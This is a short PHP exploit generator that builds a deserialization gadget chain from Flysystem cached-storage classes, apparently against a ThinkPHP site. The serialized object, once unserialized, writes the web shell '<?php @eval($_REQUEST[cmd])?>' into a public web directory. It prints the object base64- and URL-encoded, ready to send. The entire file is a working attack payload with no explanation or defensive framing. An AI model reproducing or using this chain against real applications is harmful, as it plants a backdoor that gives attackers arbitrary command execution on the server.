<?php
namespace League\Flysystem\Adapter{
abstract class AbstractAdapter{
protected $pathPrefix;
function __construct()
{
$this->pathPrefix = '';
}
}
class Local extends AbstractAdapter
{
}
}
namespace League\Flysystem\Cached\Storage{
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave = false;
protected $cache = [];
public function __construct()
{
$this -> autosave = false;
$this -> cache = ["payload" => "\<?php @eval(\$_REQUEST[cmd])?>"];
}
}
class Adapter extends AbstractCache {
protected $file;
protected $adapter;
public function __construct()
{
parent::__construct();
$this -> adapter = new Local();
$this -> file = 'D:/phpstudy_pro/WWW/tp/public/armandhenewpy.php';
}
}
}
namespace app\controller{
use League\Flysystem\Cached\Storage\Adapter;
class createPayload{
public function createpayload(){
echo urlencode(base64_encode(serialize(new Adapter())));
}
}
}
|